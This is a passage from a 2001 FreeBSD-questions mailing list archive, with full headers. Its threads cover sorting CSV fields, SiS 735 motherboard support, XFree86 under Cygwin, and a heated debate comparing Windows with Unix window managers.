166AqV-000KC9-00; Tue, 20 Nov 2001 13:21:51 +0000 Date: Tue, 20 Nov 2001 13:21:51 +0000 From: setantae To: Wayne Pascoe Cc: freebsd-questions@freebsd.org Subject: Re: Sort Message-ID: <20011120132151.GB77414@rhadamanth> Mail-Followup-To: setantae , Wayne Pascoe , freebsd-questions@freebsd.org References: <86r8qt7gjq.fsf@pan.ehsrealtime.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <86r8qt7gjq.fsf@pan.ehsrealtime.com> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 12:50:01PM +0000, Wayne Pascoe wrote: > Hi all, > > I have a cvs file as follows : > > id,first_name,last_name,company_name > > I want to sort this on first name. Doing > cat file.csv | sort > sorts starting at the beginning of the line. > > Is there a way for sort to sort a file based on a field delimited by a > character, or should I just use a perl script ? Yes. See sort(1) and the -t and -k options. Ceri -- keep a mild groove on To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 5:26:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from fepZ.post.tele.dk (fepz.post.tele.dk [195.41.46.133]) by hub.freebsd.org (Postfix) with ESMTP id 1521737B417 for ; Tue, 20 Nov 2001 05:26:09 -0800 (PST) Received: from Mikkel ([62.242.11.26]) by fepZ.post.tele.dk (InterMail vM.4.01.03.23 201-229-121-123-20010418) with SMTP id <20011120132607.LZSF395.fepZ.post.tele.dk@Mikkel> for ; Tue, 20 Nov 2001 14:26:07 +0100 Received: from Mikkel (localhost [127.0.0.1]) by Mikkel (Weasel v1.20) for ; 20 Nov 2001 14:25:48 Message-ID: <3BFA59DC.79A0@post5.tele.dk> Date: Tue, 20 Nov 2001 14:25:48 +0100 From: "Mikkel C. Simonsen" Organization: Dantimax X-Mailer: Mozilla 3.0 (OS/2; I) MIME-Version: 1.0 To: questions@FreeBSD.ORG Subject: Re: Elitegroup K7S5A - SIS 735 chipset References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Date: Tue, 20 Nov 2001 02:31:43 -0700 > From: "Charles Burns" > Subject: Re: Elitegroup K7S5A - SIS 735 chipset > > > > >Is the K7S5A mainboard and the SIS 735 chipset supported by FreeBSD > >4.4-STABLE? What about the onboard ide controller? Can I run my hard > >disks in udma66 or udma100 mode? > >Any known problems with this mainboard and FreeBSD? > > > >Your comments are welcome! Tnx! > > I've heard good (performance) things about that chipset, but SiS is > legendary for making crappy, unreliable, flaky, buggy hardware that drives > up the support costs of companies selling mobo's based on their chipsets. > It may work fine, I dunno, but is the $20 you'll have worth your time and > headache if it doesn't? According to Toms Hardware Guide the stability of both the SiS730 and 735 is great. The K7S5A received a very good review - here is a small bit: "the Elitegroup board ran solidly, regardless of the memory timings I used." In my experience the K7S5A runs a lot more stable than the Via KT133 based motherboards I have used. The K7SEM runs very well also, if you need a cheap/small system. Best regards, Mikkel C. Simonsen To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 5:33:26 2001 Delivered-To: freebsd-questions@freebsd.org Received: from sand4.global.net.uk (sand4.global.net.uk [195.147.246.106]) by hub.freebsd.org (Postfix) with ESMTP id 6BB2437B426 for ; Tue, 20 Nov 2001 05:33:11 -0800 (PST) Received: from adamantite.global.net.uk ([194.126.80.200] helo=globalnet.co.uk) by sand4.global.net.uk with esmtp (Exim 3.03 #1) id 166B1R-0007mL-00 for questions@FreeBSD.ORG; Tue, 20 Nov 2001 13:33:09 +0000 Message-ID: <3BFA5C37.35052219@globalnet.co.uk> Date: Tue, 20 Nov 2001 13:35:51 +0000 From: John Ekins Reply-To: jre@globalnet.co.uk X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.4-RELEASE i386) X-Accept-Language: en-GB, en MIME-Version: 1.0 Cc: questions@FreeBSD.ORG Subject: Re: home pc use References: <007f01c171c1$4be01cd0$0a00000a@atkielski.com> <2696.10.100.98.21.1006260649.squirrel@10.100.3.5> <009001c171c4$e26a71c0$0a00000a@atkielski.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Anthony Atkielski wrote: > Remember, you asked. I count 80 just by looking at the machine, of which I use > all but half a dozen or so at least every few days, and several dozen every day: [ list snipped ] I see a fair amount of unecessary duplication in your list. For example, why would you have Photoshop as well as Paint Shop Pro installed? Ditto for Pagemaker and Quark. Ditto Outlook and Outlook Express. Why have both Postscript and TT fonts? Professional graphics people would use Postscript every time. If you're not doing professional output then TT is quite sufficient. You have a fabulous collection of browsers. I just can't imagine using that many personally. John. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 5:36: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pr0n.kutulu.org (pr0n.kutulu.org [151.196.107.157]) by hub.freebsd.org (Postfix) with ESMTP id 58A5437B405 for ; Tue, 20 Nov 2001 05:35:59 -0800 (PST) Received: from cc191573g (cc191573-g.longhill1.md.home.com [24.37.104.136]) by pr0n.kutulu.org (8.11.6/8.11.6) with SMTP id fAKDa7U42909; Tue, 20 Nov 2001 08:36:07 -0500 (EST) (envelope-from kutulu@kutulu.org) Message-ID: <013f01c171c7$6ffcbeb0$88682518@longhill1.md.home.com> From: "Kutulu" To: "Anthony Atkielski" , "Ted Mittelstaedt" , , "Chip" Cc: References: <006901c171b1$f549f760$1401a8c0@tedm.placo.com> <012801c171b6$845a9500$0a00000a@atkielski.com> Subject: Re: home pc use Date: Tue, 20 Nov 2001 08:29:51 -0500 MIME-Version: 1.0 Content-Type: multipart/signed; micalg=SHA1; protocol="application/x-pkcs7-signature"; boundary="----=_NextPart_000_013B_01C1719D.85E2C500" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_013B_01C1719D.85E2C500 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit From: "Anthony Atkielski" Sent: Tuesday, November 20, 2001 6:28 AM > I wouldn't mind running the server on my Windows machine, but no X Server for > Windows seems to cost less than $250-$500 dollars. In fact, I'd actually prefer > to run the server on my Windows machine, as I treat FreeBSD as a server machine, > not a separate desktop. XFree86 actually runs on Windows now (via Cygwin). See http://xfree86/cygwin.com. I have been running it for several months now, and thus far it seems to have it's pros and cons. It's somewhat flaky on Windows 98 (and the install documentation says so) but Windows 2000 seems to get along with it fine. On the plus side: * There is only one Win32 X server, which uses DirectX. Therefore, the video hardware support is exactly as good as the support you get from Windows. * It's Free. Similar X Servers, as you say, cost a lot of money. * It's the same codebase as the XFree86 that Linux/BSD run. * It runs inside a window, giving me the same basic functionality I get from terminal server or VNC, except to my BSD systems. * It's open-source, therefore anyone with the time and skill can fix the problems listed below. * Since it does run as a user-level process via DirectX, it has very little chance of taking the OS down with it. In fact, I've never once had it actually GPF on Windows 2000, though it has exited abnormally a few times. On the down side: * It's kinda pokey. Of course, part of that is the inherent slowness of X running over a network, but part of it seems to be inherent slowness in the server. * It takes a bit to set up. The commercial X servers (I used eXceed when it didn't cost so much, and XWin32 as a demo) are much easier to install and use. And I still haven't figured out how to get it to use XDMCP the way XWin32 does. * I've run into a few X programs that crash the server (Kylix routinely). This I take as a sign of the immaturity of the server more than anything else. * It's kinda kudgy. You basically install the entire Cygwin environment, which gives you a UNIX-alike runtime environment in Win32, then install XFree86 on top of that. It takes a lot of disk space, and I suspect it also relates to some of the speed problems. But, as mentioned, it's open source and free, so it can only get better and more stable from here. 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Tue, 20 Nov 2001 05:44:21 -0800 (PST) Received: from roel (213-84-241-73.adsl.xs4all.nl [213.84.241.73]) by smtpzilla3.xs4all.nl (8.12.0/8.12.0) with SMTP id fAKDi7am092714; Tue, 20 Nov 2001 14:44:13 +0100 (CET) Message-ID: <001901c171c9$b1372170$9600000a@roel> From: "Roel Kroes" To: "Anthony Atkielski" , "Deman" Cc: References: <007f01c171c1$4be01cd0$0a00000a@atkielski.com> <2696.10.100.98.21.1006260649.squirrel@10.100.3.5> <009001c171c4$e26a71c0$0a00000a@atkielski.com> Subject: Re: home pc use Date: Tue, 20 Nov 2001 14:45:56 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ----- Original Message ----- From: "Anthony Atkielski" To: "Deman" Cc: Sent: Tuesday, November 20, 2001 2:11 PM Subject: Re: home pc use That list looks to me like a perfectly normal list for a self employed software / web developer / casual gamer (for example). I'm using at least that many programs too. Remember that you cannot always choose between Photoshop or another shitty program. Sometimes customers deliver graphics, logo's made with some obscure program and expect you to handle it well. Roel. > CompuServe CSNav-Win > CompuServe WinCIM > Adobe Acrobat (full version) > Adobe Acrobat Reader > Adobe Acrobat Distiller > Adobe Type Manager Deluxe > Adobe PageMaker > Adobe Illustrator > Adobe Photoshop > Adobe Streamline > 1500+ Type 1 PostScript and TrueType fonts > Apache > WinOnCD > HP DeskScan > Microsoft Visual InterDev > Microsoft Visual C++ > Diskeeper Lite > Microsoft FrontPage > Windows Internet Information Server > ICQ > Microsoft Internet Explorer > Opera > Lynx > WebTV > Netscape 4.x > Netscape 6.x > BlackICE Defender > NikonScan > Paint Shop Pro > Palm IV Desktop > Perl > PGP > QuickTime > SecureFX > SecureCRT > Wacom > Microsoft World Atlas > ZoneAlarm > Microsoft Comic Chat > mIRC > WS_FTP Pro > Extensis MaskPro > Corel KnockOut > Microsoft NetMeeting > Outlook Express > Outlook > PowerPoint > Microsoft Word > Microsoft Access > Image Composer > RealPlayer > Windows Media Player > Expander > BarCode Pro > Fritz > Rebel > EBP Compta > Encarta 96 > Final Draft > Flight Simulator > Flight Check > Family Tree > GeoClock > GifAnimator > JpegWizard > Kodak DC120 software > MapThis > MathType > Money > NetHack > PKZIP > POV-Ray > Quark XPress Passport > SimCity > Harrap's Online > Visio > VisualRoute > Vuescan > WinBoard > WinZip To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 5:45:32 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pr0n.kutulu.org (pr0n.kutulu.org [151.196.107.157]) by hub.freebsd.org (Postfix) with ESMTP id 2B26D37B416 for ; Tue, 20 Nov 2001 05:45:24 -0800 (PST) Received: from cc191573g (cc191573-g.longhill1.md.home.com [24.37.104.136]) by pr0n.kutulu.org (8.11.6/8.11.6) with SMTP id fAKDjeU42948; Tue, 20 Nov 2001 08:45:40 -0500 (EST) (envelope-from kutulu@kutulu.org) Message-ID: <018f01c171c8$c50d8500$88682518@longhill1.md.home.com> From: "Kutulu" To: "setantae" , "Anthony Atkielski" Cc: References: <3BF9B12B.3D521A4D@nycap.rr.com> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <00cd01c171ac$ca0fa0e0$0a00000a@atkielski.com> <20011120102625.GB75402@rhadamanth> <00d201c171af$61dccb80$0a00000a@atkielski.com> <20011120110535.GB75918@rhadamanth> <013901c171b7$407ea500$0a00000a@atkielski.com> <20011120114643.GB76431@rhadamanth> Subject: Re: home pc use Date: Tue, 20 Nov 2001 08:39:23 -0500 MIME-Version: 1.0 Content-Type: multipart/signed; micalg=SHA1; protocol="application/x-pkcs7-signature"; boundary="----=_NextPart_000_018B_01C1719E.DB045430" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_018B_01C1719E.DB045430 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit From: "setantae" Sent: Tuesday, November 20, 2001 6:46 AM > On Tue, Nov 20, 2001 at 12:33:55PM +0100, Anthony Atkielski wrote: > > Ceri writes: > > > > > In fact, no window manager I've ever used has > > > ever crashed, with the notable exceptions of > > > explorer.exe and progman.exe. > > > > Neither program is a window manager. > > They are the programs responsible for creating and manipulating > the windows. Sort of. The MS Windows GUI system is not as neatly partitioned as the X Window system. Most of it is lumped into the OS itself. The programs mentioned here are primarily shells: they are responsible for providing the user interface to launch applications. The 'window manager' function is part of the base system, specifically the GDI subsystem in the kernel, and exists indepedantly of the shell. The shell program does have a good bit of control over the look&feel of the windows on the system, (see: Litestep) but other user-level applications (such as WindowBlinds) have the same level of control regardless of what shell is running. And, it is possible for the shell to be missing entirely and still have open and useable windows (though it becomes difficult to create them without being able to run applications). --K ------=_NextPart_000_018B_01C1719E.DB045430 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIII3jCCAnww ggHloAMCAQICAwW08DANBgkqhkiG9w0BAQIFADCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsT FENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAw MC44LjMwMB4XDTAxMDkyMjE0MDAxOFoXDTAyMDkyMjE0MDAxOFowQzEfMB0GA1UEAxMWVGhhd3Rl IEZyZWVtYWlsIE1lbWJlcjEgMB4GCSqGSIb3DQEJARYRa3V0dWx1QGt1dHVsdS5vcmcwgZ8wDQYJ KoZIhvcNAQEBBQADgY0AMIGJAoGBALuDdLgCHJxCJguCs8IK+K4Fic2MZAbW1CVoIPV1qU/ez9TI z5Yv4XRDskBUZxFogDSDdYPEGCbNB8Tp7TjwD+n2zAuIuapRMySbs7zQYef/fBd01rqRBmi/A9/v bPOuKHqOAvbMqWMH2D9hjCH2d3R8cJIoCglhEtyyxm9rOee5AgMBAAGjLjAsMBwGA1UdEQQVMBOB EWt1dHVsdUBrdXR1bHUub3JnMAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQECBQADgYEAlJ1wNCdT DYnUEQV9rBeSbJ8lJ1yxSHxwosdb8UzkD3H6AfRJBQQQ/qAIWh9ODW2UjMH5el3RgaZAbPUheG56 bPcKEdb+pGInFz8Rf0Baent6D3OLrvVT1wrJ+qeYuf61DHIAuorD/ZFeN8v3wLtyuuHRkPZmn/1b JgLc4S2qImIwggMpMIICkqADAgECAgEMMA0GCSqGSIb3DQEBBAUAMIHRMQswCQYDVQQGEwJaQTEV MBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xGjAYBgNVBAoTEVRoYXd0 ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSQw IgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG9w0BCQEWHHBlcnNv bmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDAwODMwMDAwMDAwWhcNMDIwODI5MjM1OTU5WjCB kjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3du MQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQD Ex9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAwMC44LjMwMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCB iQKBgQDeMzKmY8cJJUU+0m54J2eBxdqIGYKXDuNEKYpjNSptcDz63K737nRvMLwzkH/5NHGgo22Y 8cNPomXbDfpL8dbdYaX5hc1VmjUanZJ1qCeu2HL5ugL217CR3hzpq+AYA6h8Q0JQUYeDPPA5tJtU ihOH/7ObnUlmAC0JieyUa+mhaQIDAQABo04wTDApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRUHJp dmF0ZUxhYmVsMS0yOTcwEgYDVR0TAQH/BAgwBgEB/wIBADALBgNVHQ8EBAMCAQYwDQYJKoZIhvcN AQEEBQADgYEAcxtvJmWL/xU0S1liiu1EvknH6A27j7kNaiYqYoQfuIdjdBxtt88aU5FL4c3mONnt UPQ6bDSSrOaSnG7BIwHCCafvS65y3QZn9VBvLli4tgvBUFe17BzX7xe21Yibt6KIGu05Wzl9NPy2 lhglTWr0ncXDkS+plrgFPFL83eliA0gwggMtMIIClqADAgECAgEAMA0GCSqGSIb3DQEBBAUAMIHR MQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24x GjAYBgNVBAoTEVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZp Y2VzIERpdmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgQ0ExKzApBgkq hkiG9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNOTYwMTAxMDAwMDAwWhcN MjAxMjMxMjM1OTU5WjCB0TELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAG A1UEBxMJQ2FwZSBUb3duMRowGAYDVQQKExFUaGF3dGUgQ29uc3VsdGluZzEoMCYGA1UECxMfQ2Vy dGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEkMCIGA1UEAxMbVGhhd3RlIFBlcnNvbmFsIEZy ZWVtYWlsIENBMSswKQYJKoZIhvcNAQkBFhxwZXJzb25hbC1mcmVlbWFpbEB0aGF3dGUuY29tMIGf MA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDUadfUsJRkW3HpR9gMUbbqcpGwhF59LQ2PexLfhSV1 KHQ6QixjJ5+Ve0vvfhmHHYbqo925zpZkGsIUbkSsfOaP6E0PcR9AOKYAo4d49vmUhl6t6sBeduvZ FKNdbnp8DKVLVX8GGSl/npom1Wq7OCQIapjHsdqjmJH9edvlWsQcuQIDAQABoxMwETAPBgNVHRMB Af8EBTADAQH/MA0GCSqGSIb3DQEBBAUAA4GBAMfskn5O+PWWpWdiKqTwTRFg0G+NYFhhrCa7UjVc CM8w+6hKloofYkIjjBcP9LpknBesRynfnZhe0mxgcVyirNx54+duAEcftQ0o6AKd5Jr9E/Sm2Xyx +NxfIyYJkYBz0BQb3kOpgyXy5pwvFcr+pquKB3WLDN1RhGvk+NHOd6KBMYIB/jCCAfoCAQEwgZow gZIxCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93 bjEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UE AxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDIwMDAuOC4zMAIDBbTwMAkGBSsOAwIaBQCggbowGAYJ KoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDExMTIwMTMzOTIzWjAjBgkq hkiG9w0BCQQxFgQU7FMQK2uJZbCFXZyiGQQj/8fSP1AwWwYJKoZIhvcNAQkPMU4wTDAKBggqhkiG 9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwBwYFKw4DAgcwDQYIKoZIhvcNAwIC ASgwBwYFKw4DAh0wDQYJKoZIhvcNAQEBBQAEgYCdmhmEuvn47HIerHqGopO9LYeBcgVc6XfBqUXw 85yd/ibFkyZDEZaPyUZ2fycZyer+iwws2rYAsz6aVio4DZH7wsUPHZ0/jzgwkXEIZ5zjIKebD735 lWCsZwXkE9BzOVZe8tZZRsJ5lYw8I8SToGhwxr0o+0gNsd2hoFwEoXOs9QAAAAAAAA== ------=_NextPart_000_018B_01C1719E.DB045430-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 5:50:26 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pimout3-int.prodigy.net (pimout3-ext.prodigy.net [207.115.63.102]) by hub.freebsd.org (Postfix) with ESMTP id C25CC37B405 for ; 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To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 6: 8:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id C495537B416 for ; Tue, 20 Nov 2001 06:08:42 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKE8ZD09082; Tue, 20 Nov 2001 15:08:35 +0100 (CET) Message-ID: <00b101c171cc$d8ed1e10$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Kris Kennaway" Cc: "Kris Kennaway" , "Steve Brown" , "Chip" , References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120024747.A92560@xor.obsecurity.org> <012501c171b5$dcd9b900$0a00000a@atkielski.com> <20011120050329.A971@xor.obsecurity.org> Subject: Re: home pc use Date: Tue, 20 Nov 2001 15:08:28 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Kris writes: > I still don't know what that means, since > obviously you're drawing some distinction > between standard unix window managers like > windowmaker, fvwm, sawfish, etc, and Windows. Yes: Windows runs Windows applications (all 100,000 of them), and UNIX window managers do not. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 6:12:24 2001 Delivered-To: freebsd-questions@freebsd.org Received: from relay3-gui.server.ntli.net (relay3-gui.server.ntli.net [194.168.4.200]) by hub.freebsd.org (Postfix) with ESMTP id 27C1B37B420 for ; Tue, 20 Nov 2001 06:12:12 -0800 (PST) Received: from pc3-card3-0-cust122.cdf.cable.ntl.com ([62.254.251.122] helo=rhadamanth.private.submonkey.net ident=exim) by relay3-gui.server.ntli.net with esmtp (Exim 3.03 #2) id 166BdC-0002q3-00; Tue, 20 Nov 2001 14:12:10 +0000 Received: from setantae by rhadamanth.private.submonkey.net with local (Exim 3.33 #1) id 166BcD-000KGu-00; Tue, 20 Nov 2001 14:11:09 +0000 Date: Tue, 20 Nov 2001 14:11:09 +0000 From: setantae To: Anthony Atkielski Cc: questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120141109.GA77819@rhadamanth> References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120024747.A92560@xor.obsecurity.org> <012501c171b5$dcd9b900$0a00000a@atkielski.com> <20011120050329.A971@xor.obsecurity.org> <00b101c171cc$d8ed1e10$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <00b101c171cc$d8ed1e10$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 03:08:28PM +0100, Anthony Atkielski wrote: > Kris writes: > > > I still don't know what that means, since > > obviously you're drawing some distinction > > between standard unix window managers like > > windowmaker, fvwm, sawfish, etc, and Windows. > > Yes: Windows runs Windows applications (all 100,000 of them), and UNIX window > managers do not. Window managers don't applications at all. Ceri -- keep a mild groove on To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 6:26: 0 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id E5A0737B417 for ; Tue, 20 Nov 2001 06:25:55 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKEPrT11210; Tue, 20 Nov 2001 15:25:53 +0100 (CET) Message-ID: <001f01c171cf$430e8ac0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "setantae" Cc: References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120105642.GA75918@rhadamanth> <012d01c171b6$96b5adc0$0a00000a@atkielski.com> <20011120114236.GA76431@rhadamanth> <005f01c171bf$c4d06b10$0a00000a@atkielski.com> <20011120131850.GA77414@rhadamanth> Subject: Re: home pc use Date: Tue, 20 Nov 2001 15:25:37 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ceri writes: > Who said anything about cloning Windows ? I did. A realistic GUI environment for me would have to be a virtual clone of Windows, because virtually all the applications I use are Windows-only applications. > According to the archives, you installed > FreeBSD on 31st Oct, 2001. Yes, but I first worked on an operating system considerably prior to that date. > You then proceeded to ask what portmap was. > You were amazed that one needs a different kernel > to enable SMP. You never heard of the rehash > command in csh. Yes. So? > These are not FreeBSD specific problems. They are characteristic of UNIX, or of some other OSes in isolation (multiprocessor support). > All of these are things that one could expect > from someone with only 3 weeks experience of an > OS, but I honestly think that you would benefit > from doing some background reading. Thank you for your suggestion. I was hoping that you might offer more information on FreeBSD, instead of your armchair evaluation of my competence in IT. If all responses to my questions and comments were similar, I should indeed be restricted to reading elsewhere to obtain the information I require. This illustrates to some extent my comments about support being difficult to get for FreeBSD (and other open-source products). > You come here and basically say ``All window > managers suck.'' In a world dominated by Microsoft Windows, any window manager that does not replicate Windows functionality effectively sucks, from the standpoint of the average end user. This may not be a pleasant thought, but it is a hard reality. I may not like everything about Windows, but I do accept that it is the standard against which all other window systems must be measured. > I suggest a window manager that doesn't suck, > and you say ``I've had my fill''. I heard great things about KDE, too, but it turned out to be a disappointment. So did the default window manager. I can't devote my life to trying to make UNIX look like Windows. There are lots of other things that UNIX is good for, and I have no pressing desire to prove that UNIX can be "just as good" as Windows. The OS wasn't meant for that, anyway. > If you seriously wish to use FreeBSD in a > production environment, then it's even more > important that you familiarise yourself with > the system : how to upgrade it, how to install > new software, how to get the sources, how it is > different from other systems, how it is similar > to other systems. You don't seem prepared to > do this. That's what I'm doing, although I've discovered that this list, at least, is nearly useless for that purpose. One need only read your own post, and others like it, and distill the real, useful information they contain, if any, to see how poorly this list fulfills its nominal role. > There is a handbook that a good body of people > have spent and so spend a considerable amount > of manhours writing. I *know* that you haven't > taken the time to read it. I've read parts of it that are relevant to what I need to know. It is not the best-written document I've ever seen, but the alternatives seem to be worse. To Unsubscribe: send mail to majordomo@FreeBSD.org with 